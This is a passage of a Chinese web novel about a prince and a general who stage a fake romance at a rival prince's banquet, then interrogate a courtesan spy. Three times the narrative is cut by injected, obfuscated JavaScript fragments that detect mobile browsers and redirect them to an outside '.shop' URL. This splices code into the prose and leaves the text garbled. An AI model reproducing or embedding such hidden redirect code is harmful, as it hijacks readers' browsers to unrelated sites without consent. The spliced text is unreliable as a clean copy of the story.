有几个看见他微微点了个头算是行了礼,也有几个把目光从他身上滑过去,像是多看一眼就会沾上什么晦气。 萧汀不在乎。 他已同太子禀报过,得了准许。今天也只得一个任务:把断袖演好。 思及此,他往费适身边又挪了挪,肩膀直接蹭到费适的上臂。 这动作他昨晚对着铜镜练了好几遍,不能太用力,太用力显得假;也不能太轻,太轻了别人注意不到。要刚好蹭到,衣料擦着衣料,既亲密又不刻意。 费适感应到身旁人的小动作,微微侧了侧身,替他挡住了斜对面一桌投过来的不屑目光。 萧汀被挡得莫名其妙,余光撇了兄弟一下,这都把视线挡完了,别人还怎么发现个中奥秘? 他干脆端起自己的茶盏,在手里转了转,然后往费适那边推了推。 “降虎兄,你尝尝,这茶比你我府上的都强。” 费适低头看了一眼那只被他推过来的茶盏,又抬眼看萧汀。 萧汀睁圆了眼……话本上写了,同饮一杯茶也是断袖的做派之一,你倒是喝啊! 费适默了默,端起茶盏抿了一口,缓缓放下。萧汀心里打了个响指:默契。 周围的宾客更多往这边看了。 正对面一个穿赭色锦袍的中年官员,端着酒盏的手停在半空,目光在他俩中间转了一圈。 廊柱旁边两个勋贵子弟,其中一个凑到另一个耳边说了句什么,那人点了点头看过来,嘴角的弧度意味深长。 萧汀把这些目光都收在眼里,心里很有些得意。 看吧,多看看。最好回去跟所有人都说一遍,九皇子和定远将军在寿宴上同饮一杯茶,肩膀蹭着肩膀,亲密得好似一个人。 他的一通心思肚肠,费适恍然不觉,只一副温温和和的样子,继续端起茶盏慢慢啜饮,眼神从杯沿上方漫不经心地掠过厅中宾客,像是在赏一幅再寻常不过的市井图。 这做派落在萧汀的余光里,实在有些佩服。 他觉着这人有个本事,无论在哪儿都能坐得像在自家躺椅一样的自在,明明周围全是朝中顶尖的权贵,他一个刚去了军职的闲人,倒像是来逛园子的。 “还紧张?” 费适忽然贴近他耳边开口,声音压得只有两个人能听见。 气息拂过耳洞,萧汀一时觉得痒痒的,但也不敢躲,老实的悄声承认,“有点,感觉学得还不太好,仔细让人看出来。” 费适笑了一下,没再说什么,只替他把袍袖褶皱抚平了些,侧回身去接着饮茶。 这份自在没持续多久。一个穿宝蓝锦袍的年轻人大步走进厅里,身后跟着四五个差不多年纪的勋贵子弟。 为首那个萧汀认得,安西侯家的世子,他爹当年跟费适争过北境主帅的位置,没争赢,回京后逢人便说费适是靠祖荫上位的莽夫。 “哟,这不是费大将军吗?” 周世子手里摇着把未打开的折扇,嗓门不小,周围几桌的客人都看了过来。 “不对,现在该叫费侯爷了。听说你在蒙学馆跟四五岁的娃娃一起背三字经?李夫子那朱砂痣点得可好?” 旁边几个纨绔跟着笑起来。 费适手里还端着茶盏,面上仍是那副春风拂柳的浅笑,只把茶盏搁回桌上,抬眼看向周世子,目光温润得像在看一个不成器的自家晚辈。 “世子消息倒灵通。蒙学馆确实教三字经,也教待人接物,谨言慎行。世子若有兴趣,改日不妨也来坐坐,课堂里还剩几个空位。” 这语气温和得很,像是在真心实意地邀请。 周世子的脸色变了变。他旁边一个穿青灰锦袍的纨绔赶紧接话:“费将军说笑了。周兄的意思是,您从前在北境带兵,何等威风,如今跟蒙童同窗,岂不委屈?” “不委屈。蒙童心思单纯,鲜艳活泼,好相处的很,倒叫我仿佛年轻几岁。” 费适端起茶盏又抿了一口,抬眼看那纨绔,“这位公子面生,敢问尊府是?” “家父姓刘,现任兵部郎中。” “原来是刘郎中家的公子。令尊上月递的军饷折子批下来了没有?我虽已不在军中,倒还认得几个户部的旧僚,若需要帮忙,尽管开口。” 那纨绔的笑容僵在脸上。他父亲的军饷折子被户部驳回了两回,这事朝中知道的人不多,费适一个刚从北境回来的闲人是怎么知道的? 他讪讪地退后半步,不接话了。 周世子啪地把折扇一开,懒得再绕弯子:“费降虎,咱们打开天窗说亮话。你如今军职辞了,兵权也交了,何必还在这儿端着大将军的架子?今日三殿下寿辰,干坐着喝茶有什么意思。府中马场刚修了新道,不如去比试一场,给寿宴添个彩头。” 他向着四周张望一圈,“你我在场各位都押些彩头,我押我那匹乌云踏雪,值三千两。费侯爷敢不敢跟?” 费适还没发话,萧汀却有些急了,又不好在众人面前发作,只得扯了扯身旁人的袖子,压低声音问, “你……会骑马吗?” 费适偏头浅浅看了他一眼,嘴角的弧度没变,眉眼之间却掠过一丝极淡的笑意。 萧汀被他这一眼看得有些莫名,手指不自觉就松了松。 周世子见这俩人拉拉扯扯的样子,嘴角嘲讽更深了几分: “怎么,九殿下这是心疼了?费侯爷如今没了军职,手头怕是拮据,若拿不出彩头也无妨,只要在席间当众说一句‘我不如周世子’,这事就算翻篇。不过……九殿下若是想替费侯爷出这个头,也不是不行。” 他顿了一下,目光在萧汀身上上下扫了一圈,“只是我听说九殿下府上连马厩都只有两间,论家底怕是还不如费侯爷。您拿什么押……哦,不对,想来以您和费侯的关系……呵,他定愿出个千八百金的,博您一笑吧?” 这话,含沙射影的味儿太足,甚至把萧汀比作倚门卖笑的,萧汀再透明再无权无势,也好歹是个皇子,周围几个纨绔到底没敢跟着起哄,可眼底的轻蔑也没掩饰。 费适的脸色丝毫没变,依然带着笑,长长看了周世子一眼。 萧汀则是完全没听懂,只当人家真的在嫌弃他这皇子太穷,他正要开口吹嘘自己有的是钱,忽然传来一阵齐整的脚步声,厅里的喧哗像被一只大手轻轻按住,渐渐低了下去。 三皇子萧淇从正门跨进来。 他今日穿了一身雨过天青的广袖长袍,头上一顶白玉小冠,步履从容,气度华贵。身后跟着两个捧锦盒的内侍,两旁还有数名侍从分列而行。 花厅里的宾客纷纷起身行礼,三皇子笑着摆手请大家落座,走到主位前却不急着坐下,而是目光在厅中一扫,落在了周世子和费适这边。 “我刚进来就听见世子在说彩头。怎么,我这寿星还没到,你们倒先替我安排起助兴节目来了?” 周世子行了个礼,把方才的赌约复述了一遍。 三皇子听完,没有立时表态,转向费适打趣:“拿这等宝贝当彩头,将军不心疼?” 费适起身回了一礼,笑得浅淡也不失温文,“总得出些像样的彩头,否则世子怕是嫌我寒碜。” 三皇子合掌笑了一声,又看向周世子:“世子那匹乌云踏雪我也见过,确是好马。今日两位以重宝相赌,也罢……” 他抬手示意身后的内侍上前两步,“都是来给我贺寿的,我也不好让客人空手而归。这样……我前些日子得了两坛极佳的西域葡萄酒,今日赛马的赢家,除了拿走对方的赌注之外,这两坛酒也归他。至于输的那位——” 三皇子笑着将目光在周世子和费适之间转了一圈,“不管是哪位,我府上另备了一份薄礼,权当谢他给今日寿宴添了热闹。” 这话说得是滴水不漏。周世子也是个机灵的,当即拱手笑道:“三殿下想得周全,我等岂有不应的道理。那就请三殿下做个见证,赛后谁也不许反悔。” 费适含笑点头:“有三殿下作保,费某放心。” 三皇子端起酒杯朝众人举了举:“那就说定了。正好宾客们都在,诸位随我去后园,也算是给寿宴开场助兴。” 转眼赌赛就已成定局,萧汀紧张的不停望向好兄弟,可惜费适除了冲他笑笑再无别的暗示。他也只能提着心跟着人群走向后院穿堂,走了足有半盏茶的功夫,才望见马场的围栏。 他从前只听说三皇子府占了半条街,今日亲眼见了才知道什么叫“半条街” 从正厅到后园马场,中间穿过三重院落、两道月洞门、一片种满了金桂的甬道,最后在一道垂花门前豁然开朗。 门后是一片开阔的跑马场,依着一座缓坡,三道弯道沿着山坡的走势盘旋而上,弯道外侧还砌了半人高的石栏。 最难得的是那片碎石坡,大小均匀的青石子铺得平平整整,既能让马蹄吃上力,又不至于溅起碎石伤人,一看就是请了行家捯饬的。 观景台则设在半山腰,飞檐翘角,四面垂着竹帘,帘后隐约可见侍女们正在摆放冰盆和茶点。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534473|202852||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 整片马场依山而建,这座山就在三皇子府的后园之内,光这一片跑马场的面积,就抵得上萧汀整座京邸的三倍有余。 观赛的宾客们陆续在观景台上落座。萧汀压根坐不住,站在围栏最前面,手指攥着栏杆,手心发汗。 侍从将马厩里的二十来匹马都牵了出来,一字排开在山坡下的阔地上。 周世子率先走过去,绕着马群踱了一圈,目光从马腿、马臀、马颈挨个扫过。他爹安西侯年轻时也是带过兵的,家里养了不少好马,论相马他自认不输任何人。 他走到一匹通体栗色的高头大马前停下,伸手按了按马背,又抬起马头看了看牙口,满意地点了点头。 这匹马是马群最高的一匹,四肢修长,胸肌厚实,一看就是匹擅长冲刺的快马。短途直道上一旦跑开了,别的马想追都追不上。 费适还是那副不疾不徐的模样。目光缓缓从马群中扫过,最后停在一匹并不起眼的青骢马身上。 这一匹比栗色马矮了半个头,前胸偏窄,鬃毛也有些脏,站在马群最边上安静垂着头,偶尔甩一下尾巴。 费适走过去,伸手摸了摸青骢马的脖颈,又顺着马肩往下,在马前腿的肌腱上轻轻按了按。然后他退后一步,对马夫点了点头。 那几个看热闹的勋贵子弟交换了一个眼神,有人低低笑了一声,挑了半天挑中这么一匹,定远大将军的眼光也不过如此。 萧汀听到笑声鼓了一肚子的气,可他已心紧到不想开口骂人了,只狠狠地瞪了那家伙一眼。 费适翻身上马,动作出乎萧汀意料的娴熟矫健。然后催着那匹青骢往前走了两步,走到周世子的马旁边,俯身拍了拍那匹黑马的后胯。动作随意而轻巧,像是在夸一句“好马”。黑马打了个响鼻,甩了甩尾巴。 发令官挥下旗子。两匹马同时冲出。 果如周世子所料,栗色马在直道上爆发极快,马蹄刨起一溜烟尘,几个呼吸的功夫就拉开了两个马身的距离。 费适紧紧地跟在后面,青骢马的速度看上去并不算快,但他控缰的手法极稳,让马嘴里的衔铁始终保持着一个刚刚好的角度。 第一道弯来了。 栗色马仗着直道上的优势率先入弯,但它腿长步大,周世子不得不收缰减速,身体往外侧偏了偏才稳住重心。 就在他减速的一瞬间,费适的青骢马猛地从弯道内侧贴了进来,贴着石栏切过弯道,几乎是擦着石栏边缘掠过。 出弯的瞬间,费适已追到了周世子身后半个马身的位置。 观景亭上,萧汀捏着拳头屏着气,觉着自己的心跳都快停了。 第二道弯紧随其后。 费适俯下身体,几乎伏到了马鬃上,青骢马在弯道中稳稳地切过内线,周世子回头看了一眼,有些急了,扬鞭狠抽了一下马臀。 栗色马吃痛猛冲,在弯道出口处差点撞上石栏,周世子整个人被离心力往外甩,不得不死死攥住缰绳才没掉下去。 眨眼就到了碎石坡。 青骢马的蹄掌在碎石上踩得又稳又轻。相比之下,栗色马的步幅已经开始不稳了,它刚在直道上冲得太猛,腿上肌腱已有些疲软,蹄掌打了好几次滑。 费适从外侧绕过一个弯道的弧度,身下铁蹄在最后一段如同踩上了游云,马身拉成一条笔直的箭,冲过终点。 观景台上爆发出热烈的掌声。萧汀尤其为最,一蹦三尺高,恨不能就这样跳出去与他的降虎兄庆功。 然而就在所有人的目光都聚在终点线上时,碎石坡上传来一声凄厉的嘶鸣—— 栗色马在最后一个弯道出口,不知怎的忽然失了前蹄,整匹马猛地往前翻了过去。 周世子被甩出去一丈多远,整个人凌空翻了一圈,右腿在落地时以一个极不自然的角度别在身后,血很快把碎石染红了一片。 观景台上乱作一团。那几个勋贵子弟冲下去抬人,三皇子面上露出关切的神色,连忙吩咐侍从去传太医。 人被抬起来时已经痛晕了过去,腿骨茬子都冒了出来。几个胆小的宾客甚至别过脸去不敢看,自然有人低声议论,那匹栗色马虽说在弯道上吃了亏,可周世子的骑术在京城也算数得着的,怎么会摔得这么惨? 萧汀愣在围栏边上,看着周世子被抬走的方向,又回头看向终点线后的费适。 费适正翻身下马,把缰绳交给迎上来的马夫,顺手拍了拍袍角沾的灰。 午后的日光从他身后漫过来,那张脸显得有些模糊不清。 他接过小厮递来的帕子擦了擦手,侧头看了一眼地上未干的血迹,然后淡淡收回视线,向萧汀走了过来。 “乌云踏雪,喜欢吗?”大将军笑问。 13. 装醉 那自然是喜欢的。 别说千金宝马,就是赢了根篾条,也算是出了口恶气。 萧汀兴奋得不知如何是好,皇家的礼仪都浑忘了,上前拽着大将军的袖口一阵胡扯乱摇,声声不离‘降虎兄’。 费适的心情也很是不错,连盛夏的日头都似去了骄狂,只余了眼前明媚照拂他的双眼。 至于身周那些或愤懑或异样的视线,两人也都只做不见。 得胜归来,不多时便已预备开宴。 晚宴设在临水的清音阁,四面垂着轻纱,入夜的暑气被水面上的凉风压住了几分,丝竹声伴着酒香,把满座的贵人们熏得陶陶然。 宴席过半,席间氛围已散漫了,费适比初到时扎眼了许多,不时有各路人马前来敬酒攀谈。 萧汀端出一副与有荣焉的模样,靠在他身旁品菜吃瓜,顺带抛上几颗含情脉脉的秋波。 直到一个乖顺的小内侍弯着腰到他跟前,小声问:“九殿下,您眼睛可是进沙了?小的伺候您更衣。” 费适莫名干咳了一声。 萧汀收回视线,不知这孩子哪儿得的结论,但他向来不与人难堪,也好,演得有些乏,眨巴眼睛也眨累了,更衣就更衣吧。 三哥府里的回廊七拐八绕的,小内侍引着他转了好一阵才到地头,然后利落地为他端来了清水与棉布。 擦洗一番,出来时天色已暗透了,四处都已挂起了宫灯,萧汀正循着原路回去,忽然听见一旁拐角处有推搡的动静。 一个穿绿衣的少年被两个醉醺醺的客人堵在廊柱边上,其中一个扣着他的肩膀不放,嘴里不干不净,“躲甚?此处遇见小柳也是缘分,哥哥就想亲近亲近……” 那少年显然被抓疼了,但也没敢躲,眉头微蹙,强笑着讨饶。 萧汀腿脚一拐,兜个弯子往那处行去,临近了,身旁小内侍狐假虎威,“客人勿要挡了九殿下的路,仔细些!” 那俩醉客回头一看,先是满眼惊艳之色,随即被“九殿下”三字吓得酒醒了大半,松开手讪讪地行了个礼,匆匆走了。 那绿衣少年抬头看了萧汀一眼,露出一张清秀白净的面庞。萧汀莫名觉着有些眼熟,可还没来得及开口问,少年便已经低下头朝他躬了躬身,转身快步消失在回廊尽头。 回到席间刚一落座,他三哥就来与费适说话,还亲手斟了一盏酒递过来, “费将军这一手弯道切线的功夫,我在观景台上看得都捏了一把汗。那匹青云直上性子烈,野得厉害,府上好些个骑师都驾驭不了,将军一上手就把它制得服服帖帖,果然是带过兵的人。我敬将军一杯。” 这话说的极客气,原本那些因费适辞掉军职而略有轻视的人,不约而同地微有警醒。 费适接过酒盏回礼,面上仍是萧汀见惯了的那副春风拂柳,说是见惯,今日的这张笑脸,他又莫名觉着皮囊底下似乎还藏着点别的。 两人对饮之后三皇子又说了几句场面话,然后像是忽然想起什么似的,拍了拍费适的肩,偏过头去压着声音耳语。 费适端着酒杯的手微微一顿,然后转头对萧汀说了句“我去去就回”,跟着三皇子往偏厅去了。 萧汀目送两人的背影消失在屏风后,得,搭档走了,不用再演,正好敞开肚皮好吃好喝。一个侍女端着托盘走过来,在他面前放下一壶新酒。 她身后还跟着一个人,绿衣鲜嫩,细腰款款……巧了,恰是之前在院里撞见的那个清秀少年。 “殿下?”少年跪坐着唤了一声,轻巧地往他身边挪了挪,“奴是来伺候殿下的。” 厅内烛火通明,这会儿子离得又近,萧汀终于想起来这张脸到底在哪儿见过,是上次买断袖话本时在书铺里遇上的那位少年。 他基本从不饮宴,所以也没觉着一个少年郎来伺候他有什么不对,反而见了面熟的人有些高兴,“是你!我认出你了,我们在柳条巷见过。今儿你怎么在这儿?也来吃席?” 绿衣少年一愣,随即弯起眼睛,笑得花枝乱颤。 这九皇子,传闻被大将军收受在府里做了一对断袖……怎么傻乎乎的? "小的柳期。杨柳的柳,期会的期。可哪够格吃席啊。"他凑近了些,“是来伺候贵人的。专门陪贵人说说话、解闷逗乐子。” "哦……"萧汀恍然大悟,点点头。“你同我家安顺一样,贴身伺候的。”说完笑嘻嘻地抬手指向酒壶,“那你替我斟酒……三哥府里的酒必是顶好顶好,得喝够本了才行。” 绿衣少年忍不住又笑了一下。 皇子贴身伺候的是太监,他是小倌,能一样吗?但他看着萧汀那张认真的脸,又觉着纠正没什么必要。 这人真有意思。难怪外头都传他是个呆子。 可也是个心善的呆子。 他低下眉头,面上笑意真了几分,动作轻巧娴熟地替萧汀斟了浅浅一杯。 萧汀端起酒杯还没来得及喝,偏厅门再次打开,费适跟在三皇子身后走了出来,一眼便落在了萧汀身旁殷勤伺候的柳期身上。 这一眼停了约莫两息,然后费适径直走到萧汀另一边坐下。 柳期识趣地往后退了退……再退了退,到了柱子边上候着。 萧汀没注意这些眉眼官司,他刚仰头喝了那杯薄酒,滋味不错,醇美甘甜,尽可以再来上两杯。可他没料到的是,他这一开了头,来敬酒的人忽然多了起来。 先是兵部一个侍郎端着酒杯过来,满脸堆笑地跟费适寒暄了几句北境旧事,然后又转向萧汀,笑容不变地举了举杯。 萧汀正要端杯回礼,费适已经先一步站起来,将他那杯酒接了过去。 “殿下今日不宜多饮。”他对那侍郎笑道,语气客气,姿态却半分不让。 那侍郎也不勉强,笑着饮了。 可接下来,户部的、礼部的、三大营的,一拨接一拨地过来。 萧汀渐渐觉出不对劲了。 这些人平时在朝堂上见了他连眼皮都懒得抬,今日怎么一个个都来敬他? 他端着酒杯的手被费适按住了好几回。每次都是费适站起来,笑盈盈地替他挡掉,话说得漂亮,姿态做得周到,可这不到小半个时辰就已经喝了不下十几杯。 “降虎兄,”萧汀扯了扯他的袖子,压低声音,“你喝得太多了。” 费适偏头看了他一眼,眼神还算清明,只耳根已经泛红。萧汀又戳了戳他胳膊,“你别挡了,我自己喝。” 费适笑而不答。 又来了一个人。这回是翰林院的一个编修,萧汀连他叫什么都不知道。那人端着酒杯说了几句场面话,目光在他俩之间转了一圈,嘴角挂着那种意味深长的笑。 萧汀正要端杯,费适已经站了起来。“陈编修,殿下今日陪了我大半天,有些乏了,这杯我来。”他说完仰头饮尽。 送走那个编修,费适坐回来的时候身子微微晃了一下。萧汀赶紧扶住他的胳膊,费适顺势把手搭在他肩上,整个人的重量靠过来,额头抵在他肩窝里,头发蹭着他的脖颈。 萧汀心里有些着急,此刻的费适连呼吸都是滚烫的,热气透过他衣领渗进来,还带着浊浊的酒气。 “降虎兄?”萧汀小声叫他。 “别动。”费适轻道,“让我靠一会儿。” 萧汀不敢动了。他努力把肩膀挺直一点,想让费适靠得舒服些。 周围几桌的目光齐刷刷地扫过来。 萧汀不用抬头也能感觉到,从周围的视角看过来,这个姿势暧昧到了极点,大将军约莫喝醉了,似乎正在当众亲吻他的耳根。 萧汀心想,这倒是省了他再抛秋波了。 他向主位的萧淇告罪道:“三哥,将军醉的厉害,我先带他回去。” 三皇子放下酒杯,目光在费适身上停了停。 “也好。”他笑道,抬手招来两个健仆,“让他们帮你搀着费将军。柳期……你也跟着去,路上伺候。” 萧汀道过谢,还没来得及吩咐什么,两个健仆已经一左一右地把费适架了起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536620|202852||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 费适脚步虚浮地踉跄了一下,整个人的重量都压在了两个健仆身上。萧汀跟在后头,看着他垂着头被人拖着走的背影,着实有些担心。 出了府门,安顺正要迎上来,一个健仆已经先一步占据了马车车夫的位置,另一个掀开车帘,半推半架地将费适送进车厢。 萧汀也跟了上去,先前掀帘的那个健仆客客气气地朝他行了个礼。 “九殿下,受命护送殿下与将军,驾车的事交给我们便是。” 说完他坐上车头,把缰绳攥在手里,安顺连插手的余地都没有,只能跟那个不知怎么冒出来的绿衣少年上了后面的马车。 萧汀暂时顾不上这些。 他钻进车厢就看向费适。费适斜靠在车壁上,头歪向一边,呼吸粗重,似乎不省人事。 马车开动了。 萧汀挪到费适身边,伸手去探他的额头,还是烫得厉害。他正要开口叫安顺,一只手忽然按住了他的后颈。 费适睁开了眼。 方才还醉得不省人事的人,此刻眼神清明如水。他轻捂住萧汀的嘴,嘴唇贴在他耳畔悄声安抚“我没事。” 萧汀惊喜地瞪大了眼,好哇,这家伙全是演的? 费适又道,“外头那几个是来探虚实的,待会儿不管我做什么,你都别躲。”他顿了顿,又补了一句,“也别当真。” 然后他松开捂在萧汀嘴上的手,往后靠了靠,抬手在车壁上重重敲了两下。 那声音从外头听上去,像是醉酒之人在车内翻身碰倒了什么东西。 紧接着他忽然抓住萧汀往自己身边一带,萧汀猝不及防整个人扑在他胳膊上,下巴撞上他的肩胛骨,疼得闷哼了一声。 这一声闷哼,清晰传到了车外。费适低头看了他一眼,嘴角微微弯了一下,带着点坏。 他抬起手不紧不慢地又敲了两下车垫,节奏比方才急促些。然后用膝盖顶了顶车壁,发出一连串沉闷的闷响。又对萧汀做了个口型:说话。 萧汀愣了半拍,然后结结巴巴地开口:“降虎兄,你别闹……还在车上呢,你、你先躺好……” 费适又敲了两下车壁,萧汀赶紧接着喊,“安顺……安顺!走慢些……” 他说到一半忽然意识到安顺根本没在车头上,外面的人是三哥派的,这个念头让他后背一紧,声音里的惊慌反倒更逼真了。 费适收回目光,抬手在车壁上继续敲出闷响,极有节奏,由缓而渐密。那震动断断续续响过一阵,末了在最急促的关节上戛然而止。然后彻底消停了。 马车侧壁的小窗缝隙里漏进一线月光,只有车轱辘碾过石板缝的声响。 费适松开了揽在萧汀腰上的手,靠在车壁上,闭上了眼。 这就演完了? 萧汀挠了挠脸蛋,把自己会的招式盘点一遍,不明白这是演的哪一招。 但那鼓点的节奏倒是蛮好听的,不知道降虎兄以后还能不能再敲给他听听看。 终于回到了将军府,马车也停了。 萧汀掀开车帘一角,看见门口那两头熟悉的石狮子。 两个健仆跳下车头,将费适半扶半架地拖下车。费适又恢复了方才那种不省人事的模样,连带着还透了几分事后的疲态。 萧汀心头暗笑,这人装醉装得也太像了,刚才在车里眼神清得像水,这会儿又成了一摊烂泥巴。 等两个健仆将费适扶进卧房安顿好,其中一个转过身来对萧汀抱了抱拳,“九殿下,人已送到,我二人回去复命。” 萧汀点了点头,目送他们退了出去,脚步声沿着游廊渐渐远去,直到彻底消失在月色里。 他看向床上的费适,正要开口,身后忽然扑通一声。 柳期跪在门口,面色发白,肩膀缩成一团, “殿下,饶命。” 萧汀一脸懵,不知道他在说什么,谁要取他命了? 身后忽有窸窣声,他转头一看,费适已静静地坐了起来,手中弩箭在弦,对准了绿衣少年的脑袋。 14. 呱呱 萧汀站在大将军卧房的口子上,左右频顾,觉着自己半边头皮都麻了。 什么情况?怎么就要喊打喊杀了? 他拽着费适的袖口晃了晃,“降虎兄息怒!这人怎么了?” 费适没说话,微阖了眼皮,似乎冷意更甚,萧汀几乎是头一次见他双唇抿成一线的森然模样。 柳期却忽然福至心灵,殿下越替他求情大约境况会越坏,他也真是蒙了心了,这点子火势都没能看出来,白瞎了邀日楼头牌的名声。 这一转念,他再不敢向萧汀告饶,挪着膝盖转向了费适:“求大将军饶命!” 说罢便磕了个头,额肉顿地,发出一声闷响。 萧汀的心肠也跟着咯噔一下,皱眉看回费适,等他说话。 费适也没让他久等,开口道:“好端端的,三皇子为什么邀宴,又藉口送来个小倌?他是来试探的。” 这事儿萧汀自然知道,头前那俩健仆不也是?可他们不已经糊弄过去了嘛,做什么就要杀人了? 为免露馅,这些话他都没问出口,可眼睛瞪得溜圆,只把费适望着。 费适瞥他一眼,接道:“我们的那些小把戏,忽悠那俩傻大个估计还成,要想瞒过这位风月国的红牌,怕是不太可能。不信你问问他,他看出来没有?” 萧汀一愣,眼神“嗖”一下转向地上的柳期。 柳期将头俯得更低了,低到了尘埃里,“大将军府里,泼水难进,三殿下方出此下策。” 他缓了口气,说得更直白些,“奴观九殿下眉清目明,行走如风而非分花拂柳,定是完璧,故而车中动静必有疑……将军饶命!” 这便是认了。 “所以这个人,不能留。” 费适说完站了起来,向门口跨了两步,弩箭准心纹丝不动,只是距离更近了些。若是击发了,柳期那颗清秀白净的头颅大约会爆成一蓬炸裂的寒瓜。 萧汀的血一下子凉了。 以往只是传言,信不信的也就罢了,但今天他和费适可是在所有人面前卯住劲儿了的演,这要让几个兄弟知道他是演的…… 可话说回来,在皇宫里活到这个岁数,他见过太多“不能留”的下场了,一杯鸩酒?、一根白绫,或者深夜里无声无息消失的某个宫人。 他不是不明白其中的道理,但明白是一回事,眼睁睁看着一个活人跪在面前赴死是另一回事。 萧汀喃喃道,“就没有其他法子了?他……” “殿下。” 柳期开了口。 他没敢抬头看萧汀,目光只落在费适靴尖前那一小片地砖上,“奴的命是大将军的,大将军要拿,奴没有二话。” 顿了顿,他的语气愈见平静,“但奴若今夜死了,三殿下那边必然起疑,反而要防着大将军和殿下,奴活着……或许对大将军更有用。” 说完再次叩首,比上一次更重。 萧汀沉默了。 他是心软,一个比他大不了多少的无辜少年跪在面前求活路,他的确做不到无动于衷。但求情的念头还没到嘴边,又想起了母亲的叮嘱。 他亲娘走前已病了很久很久,只因放不下他才一直拖着残躯不肯仙去。弥留之时几乎不太能说话了,最后连比带划就给了他两个字,“活着” 等他咬着牙发誓自己一定会做到,他娘才缓缓吐出最后一口气,合上了眼。 任何阻碍他完成亲娘遗嘱的人都该是他的死敌。 萧汀揪着心肝,紧紧闭上了嘴,视线也再不敢往柳期身上落。 费适余光将一切尽收眼底,沉声道:“抬起头说话。” 柳期身形一顿,像是没听清,但身体比脑子快,已经抬起头来。额角已磕出了红印,眼眶也微红,但没有泪,目光里全是小心翼翼的打量。 “你说你活着更有用。”费适重又在床边坐下,弩弓随意地搁在膝盖上,方向却丝毫没变,问道:“那你说说看,回去怎么应对三殿下的盘问?今夜他还派了两个健仆跟着,若你回报返程车中并无异状,他未必全信,一定会单独问你细节。” 柳期直起身来,飞快开口,“大将军和殿下在车上的动静,甚是逼真,料那两个直戳戳的汉子想不到别处,也是,两个断袖吃了酒正是兴头上,比肩同车,哪有干坐着的道理?” 他悄悄看了一下费适的神色,没有打断的意思,胆子便大了几分。 “奴会说……”他顿了顿,“奴会说大将军酒劲儿上来,很是磨人,殿下亲自伺候,又是喂水又是擦汗的,末了还被大将军按在车里作弄了一场……” “然后呢?”费适说。 萧汀见费适放下弩弓,心里还矛盾了一阵,这会儿听他问话,半懂不懂的,心想哪里还有什么然后? 他不懂,柳期懂。 柳期快嘴秃噜,“奴就说……大将军醉醒后实在兴发,覆身跨马,拉着殿下一宿恶战。许是帐中太过快美,浪声盈天,令人闻之汗下,直至东方既明方才消渴缴了械。至于奴这等下贱货色,二位贵人连眼风都没给一个。可见用情之笃。” 萧汀还是没听懂,就他一个弱鸡子,怎么也打不赢费适吧,还一宿……再说了,既是恶战,快美个啥? 挨揍还差不多。 他瞪了大眼,满脸真诚的求知,“什么叫覆身跨马,帐中也能马战?” “就是……”柳期硬着头皮打算继续往下说,“这法子是常用的,攻伐最是便利,先……” “够了。” 费适喝止,站起身看了柳期一眼,“你倒是够胆胡吹。跟我来。” 柳期爬起来低着头跟了上去,两人一前一后走进书房,门就在萧汀眼巴前合上了。 怎么个意思?说一半不让人说了? 萧汀对着那扇紧闭的书房门,满肚子的疑惑憋到发胀。可这毕竟不是他家,主人关上了门他哪好意思硬闯。 气鼓鼓地回了次间,他坐在椅子上翻来覆去的等,脑子里一会儿琢磨柳期刚才那些话是什么意思,一会儿又想这俩人现在在书房到底说了些什么。 他起身贴着墙壁,专注听了一会儿动静,左耳听不见换右耳,这边墙听不见换另一边,下面听不见踩了椅子听上面……可惜还是什么也听不见。 大约半盏茶的功夫,书房门开了。柳期先走了出来。 萧汀迎上去驻足一看,柳期的脸色已经好了许多,额角的红印还在,但神情和方才那种绷到极致的紧张已完全不同,他甚至面带笑意,步伐轻快,像是卸下了千斤重担。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538858|202852||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “殿下!”他盈盈行了个礼,“奴同大将军说好了,往后奴在三殿下那边做内应,但凡有什么消息,一定设法递进府里来。殿下放心,奴绝无二心。” 萧汀挠了挠耳后,下意识看向书房门口,费适走了出来,面上看不出什么,只是衣袖上沾了一点墨渍。 难道是让柳期写了投名状? 柳期极有眼色地朝两人各施一礼:“奴去外间了,殿下和大将军早些安歇。” 萧汀面皮薄,在外人面前又运起了装懂大法,矜持地点点头,“嗯,去吧去吧。” 这一夜又是抵足而眠,等洗漱好上了床,萧汀才结结实实逮着了人。 “就这样?方才不是还要杀他吗?确定可信了?” “吓唬他而已,哪里会真杀。”费适脱下外袍挂在床边椅背上,“这人胆大心细,兼且精明,也许日后用得上。” “……” 萧汀又问:“那你同他交代了些什么?怎么半盏茶功夫就变了个人似的。” 费适平躺下闭了眼,才慢悠悠地开口。 